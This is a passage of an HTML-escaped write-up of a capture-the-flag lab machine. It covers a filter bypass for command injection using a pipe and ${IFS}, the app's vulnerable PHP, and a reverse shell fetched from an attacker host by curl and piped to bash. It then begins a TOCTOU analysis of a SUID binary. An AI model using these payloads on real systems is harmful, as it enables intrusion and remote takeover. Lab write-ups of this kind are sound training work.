                &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Run"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;Result:&lt;span class="nt"&gt;&amp;lt;/h3&amp;gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"output"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"checkFile"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;Check File:&lt;span class="nt"&gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"cmd3"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"File name"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Run"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;Result:&lt;span class="nt"&gt;&amp;lt;/h3&amp;gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"output"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A small internal admin tool ("My Tools") with three POST forms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;cmd1&lt;/code&gt; - "Check Target" (takes an IP)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cmd2&lt;/code&gt; - "Check User" (takes a username)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cmd3&lt;/code&gt; - "Check File" (takes a filename)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Command Injection on the Internal "My Tools" App
&lt;/h2&gt;

&lt;p&gt;Testing &lt;code&gt;cmd1&lt;/code&gt; with a real IP confirms it runs a genuine &lt;code&gt;ping&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@Breakme:/&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:9999/ &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;'cmd1=&amp;lt;ATTACKER_IP&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed with &lt;code&gt;tcpdump&lt;/code&gt; on the attacker box - real ICMP traffic arrives:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; tun0 icmp
09:07:56 IP &amp;lt;TARGET_IP&amp;gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &amp;lt;ATTACKER_IP&amp;gt;: ICMP &lt;span class="nb"&gt;echo &lt;/span&gt;request, &lt;span class="nb"&gt;id &lt;/span&gt;20588, &lt;span class="nb"&gt;seq &lt;/span&gt;1
09:07:56 IP &amp;lt;ATTACKER_IP&amp;gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &amp;lt;TARGET_IP&amp;gt;: ICMP &lt;span class="nb"&gt;echo &lt;/span&gt;reply, &lt;span class="nb"&gt;id &lt;/span&gt;20588, &lt;span class="nb"&gt;seq &lt;/span&gt;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Probing cmd2/cmd3 for the filter
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;cmd1&lt;/code&gt; turned out to be locked down tightly to digits and dots - a dead end for injection. &lt;code&gt;cmd2&lt;/code&gt;&lt;br&gt;
and &lt;code&gt;cmd3&lt;/code&gt; echo back "not found" style messages, so each probe was tried and the reflected output&lt;br&gt;
inspected to work out what characters/substrings survive the filter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@Breakme:/&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:9999/ &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;'cmd2=$(id)'&lt;/span&gt;
...
&amp;lt;pre&amp;gt;User &lt;span class="nv"&gt;$id&lt;/span&gt; not found&amp;lt;/pre&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;$(...)&lt;/code&gt; command substitution was stripped down to a bare &lt;code&gt;$id&lt;/code&gt; - the parentheses got filtered out,&lt;br&gt;
so that syntax was a dead end.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@Breakme:/&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:9999/ &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;'cmd2=|'&lt;/span&gt;
...
&amp;lt;pre&amp;gt;User | not found&amp;lt;/pre&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A bare pipe character survives untouched - meaning &lt;code&gt;|&lt;/code&gt; isn't in the denylist.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@Breakme:/&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:9999/ &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s1"&gt;'cmd2=!@#$%^&amp;amp;*()_+={}[]:;'&lt;/span&gt;&lt;span class="s2"&gt;"'"&lt;/span&gt;&lt;span class="s1"&gt;'"&amp;lt;&amp;gt;,?/\'&lt;/span&gt;
...
&amp;lt;pre&amp;gt;User &lt;span class="k"&gt;${}&lt;/span&gt;:/ not found&amp;lt;/pre&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Throwing a wall of special characters at it and seeing what comes back shows exactly which&lt;br&gt;
characters pass the filter unmodified: &lt;code&gt;$&lt;/code&gt;, &lt;code&gt;{&lt;/code&gt;, &lt;code&gt;}&lt;/code&gt;, &lt;code&gt;:&lt;/code&gt;, &lt;code&gt;/&lt;/code&gt; all survived; everything else&lt;br&gt;
(&lt;code&gt;!@#%^&amp;amp;*()+=[];'"&amp;lt;&amp;gt;,?\&lt;/code&gt;) was stripped.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@Breakme:/&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:9999/ &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;'cmd2=|ping${IFS}localhost'&lt;/span&gt;
...
&amp;lt;pre&amp;gt;User |ping&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;localhost not found&amp;lt;/pre&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;${IFS}&lt;/code&gt; (used as a space substitute to dodge a naive space filter) survives completely intact.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@Breakme:/&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:9999/ &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;'cmd2=|ping$(IFS)localhost'&lt;/span&gt;
...
&amp;lt;pre&amp;gt;User |ping&lt;span class="nv"&gt;$IFSlocalhost&lt;/span&gt; not found&amp;lt;/pre&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For comparison, &lt;code&gt;$(IFS)&lt;/code&gt; gets its parentheses stripped just like &lt;code&gt;$(id)&lt;/code&gt; did earlier - confirming&lt;br&gt;
parentheses specifically are filtered, while &lt;code&gt;{&lt;/code&gt;/&lt;code&gt;}&lt;/code&gt; are not.&lt;/p&gt;

&lt;p&gt;Putting it together: a leading pipe, followed by a command using &lt;code&gt;${IFS}&lt;/code&gt; in place of spaces,&lt;br&gt;
survives completely intact:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@Breakme:/&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:9999/ &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;'cmd2=|ping${IFS}&amp;lt;ATTACKER_IP&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed again via &lt;code&gt;tcpdump&lt;/code&gt; - real ICMP traffic from the target. This is a working OS command&lt;br&gt;
injection in the &lt;code&gt;cmd2&lt;/code&gt; parameter.&lt;/p&gt;

&lt;p&gt;Once a shell was landed (see below), the app's actual source turned up at &lt;code&gt;~/internal/index.php&lt;/code&gt;,&lt;br&gt;
confirming exactly what was inferred by probing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$command&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="s2"&gt;"cmd1"&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;isvalidip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;!&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/[^0-9.]/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;
            &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"ping -c 2 &lt;/span&gt;&lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="s2"&gt; &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nb"&gt;htmlspecialchars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Invalid IP address"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$command&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="s2"&gt;"cmd2"&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="nv"&gt;$val&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;preg_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/[^a-zA-Z0-9\|&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;\{\}\/\:.]/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"id &lt;/span&gt;&lt;span class="nv"&gt;$val&lt;/span&gt;&lt;span class="s2"&gt; &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="mf"&gt;...&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/[^a-zA-Z]/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;
            &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"find /opt -name &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="nv"&gt;$value&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; 2&amp;gt;/dev/null"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="mf"&gt;...&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Invalid Filename"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;cmd2&lt;/code&gt;'s filter, &lt;code&gt;[^a-zA-Z0-9\|\$\{\}\/\:.]&lt;/code&gt;, is a denylist regex that strips everything except&lt;br&gt;
letters, digits, and the specific characters &lt;code&gt;| $ { } / : .&lt;/code&gt; - exactly matching what the probing&lt;br&gt;
found, and exactly the characters needed to build a working shell command using &lt;code&gt;|&lt;/code&gt; and &lt;code&gt;${IFS}&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Getting a shell
&lt;/h3&gt;

&lt;p&gt;Hosted a one-line reverse shell script and a &lt;code&gt;python3 -m http.server&lt;/code&gt; on the attacker box, then&lt;br&gt;
pulled and executed it through the injection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# attacker&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; shell.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER_IP&amp;gt;/3333 0&amp;gt;&amp;amp;1
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# via injection&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:9999/ &lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;'cmd2=|curl${IFS}http://&amp;lt;ATTACKER_IP&amp;gt;/shell.sh${IFS}|${IFS}bash'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 3333 listen
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;New Reverse Shell] &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; Breakme &amp;lt;TARGET_IP&amp;gt; Linux-x86_64 👤 john&lt;span class="o"&gt;(&lt;/span&gt;1002&lt;span class="o"&gt;)&lt;/span&gt; Session ID &amp;lt;1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john@Breakme:~/internal&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;whoami
&lt;/span&gt;john
john@Breakme:~/internal&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1002&lt;span class="o"&gt;(&lt;/span&gt;john&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1002&lt;span class="o"&gt;(&lt;/span&gt;john&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1002&lt;span class="o"&gt;(&lt;/span&gt;john&lt;span class="o"&gt;)&lt;/span&gt;
john@Breakme:~/internal&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/john/user1.txt
&lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The internal service turned out to run as &lt;code&gt;john&lt;/code&gt;, so the command injection landed a shell as that&lt;br&gt;
user directly - the first flag along with it.&lt;/p&gt;
&lt;h2&gt;
  
  
  Privilege Escalation to youcef - TOCTOU Race Condition
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;youcef&lt;/code&gt;'s home directory contains a SUID binary, &lt;code&gt;readfile&lt;/code&gt;, and its source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john@Breakme:/home/youcef&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
&lt;span class="nt"&gt;-rwsr-sr-x&lt;/span&gt; 1 youcef youcef 17176 Aug  2  2023 readfile
&lt;span class="nt"&gt;-rw-------&lt;/span&gt; 1 youcef youcef  1026 Aug  2  2023 readfile.c
drwx------ 2 youcef youcef  4096 Aug  5  2023 .ssh
john@Breakme:/home/youcef&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;readfile.c
&lt;span class="nb"&gt;cat&lt;/span&gt;: readfile.c: Permission denied
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;readfile.c&lt;/code&gt; isn't readable as &lt;code&gt;john&lt;/code&gt; - only the compiled, SUID-set &lt;code&gt;readfile&lt;/code&gt; binary is. Rather&lt;br&gt;
than fly blind, the binary was pulled across to the attacker box and reverse engineered.&lt;/p&gt;
&lt;h3&gt;
  
  
  Reverse engineering the binary
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john@Breakme:/home/youcef&lt;span class="nv"&gt;$ &lt;/span&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80
PermissionError: &lt;span class="o"&gt;[&lt;/span&gt;Errno 13] Permission denied
john@Breakme:/home/youcef&lt;span class="nv"&gt;$ &lt;/span&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8000
Serving HTTP on 0.0.0.0 port 8000 &lt;span class="o"&gt;(&lt;/span&gt;http://0.0.0.0:8000/&lt;span class="o"&gt;)&lt;/span&gt; ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Port 80 needs root to bind, so 8000 was used instead. &lt;code&gt;readfile.c&lt;/code&gt; was also requested on the off&lt;br&gt;
chance it was somehow servable - it wasn't (404, as expected given the permissions above):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# attacker&lt;/span&gt;
wget http://&amp;lt;TARGET_IP&amp;gt;:8000/readfile
wget http://&amp;lt;TARGET_IP&amp;gt;:8000/readfile.c
&lt;span class="nt"&gt;--2026-08-07&lt;/span&gt; 09:35:12--  http://&amp;lt;TARGET_IP&amp;gt;:8000/readfile.c
HTTP request sent, awaiting response... 404 File not found
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@kali:~# file readfile
readfile: ELF 64-bit LSB pie executable, x86-64, ... dynamically linked, ... not stripped

root@kali:~# strings readfile
...
Usage: ./readfile &amp;lt;FILE&amp;gt;
File Not Found
You can&lt;span class="s1"&gt;'t run this program
flag
id_rsa
Nice try!
I guess you won!
readfile.c
fd &amp;gt;= 0 &amp;amp;&amp;amp; "Failed to open the file"
...
puts@GLIBC_2.2.5  write@GLIBC_2.2.5  __lxstat@GLIBC_2.2.5  getuid@GLIBC_2.2.5
__assert_fail@GLIBC_2.2.5  read@GLIBC_2.2.5  open@GLIBC_2.2.5  access@GLIBC_2.2.5
strstr@GLIBC_2.2.5  usleep@GLIBC_2.2.5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not stripped, so &lt;code&gt;objdump -d -Mintel readfile&lt;/code&gt; shows readable, named function calls in &lt;code&gt;main&lt;/code&gt;. The&lt;br&gt;
logical flow that falls out of it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;access(argv[1], F_OK)&lt;/code&gt; - the file must exist, else &lt;code&gt;"File Not Found"&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;getuid()&lt;/code&gt; compared against &lt;code&gt;0x3ea&lt;/code&gt; (&lt;strong&gt;1002&lt;/strong&gt; in decimal, i.e. &lt;code&gt;john&lt;/code&gt;'s UID) - if the caller
isn't &lt;code&gt;john&lt;/code&gt;, &lt;code&gt;"You can't run this program"&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;strstr(argv[1], "flag")&lt;/code&gt; and &lt;code&gt;strstr(argv[1], "id_rsa")&lt;/code&gt; - the filename is checked for those
substrings.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;__lstat&lt;/code&gt; (i.e. &lt;code&gt;lstat()&lt;/code&gt;) on the path, then a bitmask check against &lt;code&gt;S_IFMT&lt;/code&gt;/&lt;code&gt;S_IFLNK&lt;/code&gt;
(&lt;code&gt;0xa000&lt;/code&gt;) - a symlink check.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;access(argv[1], R_OK)&lt;/code&gt; - a readability check.&lt;/li&gt;
&lt;li&gt;If any of the flag/id_rsa/symlink/unreadable checks trip, &lt;code&gt;"Nice try!"&lt;/code&gt;. Otherwise &lt;code&gt;"I guess
you won!"&lt;/code&gt;, then &lt;code&gt;open()&lt;/code&gt; + &lt;code&gt;read()&lt;/code&gt;/&lt;code&gt;write()&lt;/code&gt; loop to dump the file to stdout.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The interesting part reverse engineering surfaced: &lt;code&gt;lstat()&lt;/code&gt; (step 4) and &lt;code&gt;open()&lt;/code&gt; (step 6) are&lt;br&gt;
two &lt;strong&gt;separate&lt;/strong&gt; syscalls against the same path, with &lt;code&gt;usleep()&lt;/code&gt; in between - a classic TOCTOU gap.&lt;br&gt;
This was confirmed for certain once the actual source was read later as &lt;code&gt;youcef&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;envp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="nf"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;getuid&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="mi"&gt;1002&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="n"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"You can't run this program"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

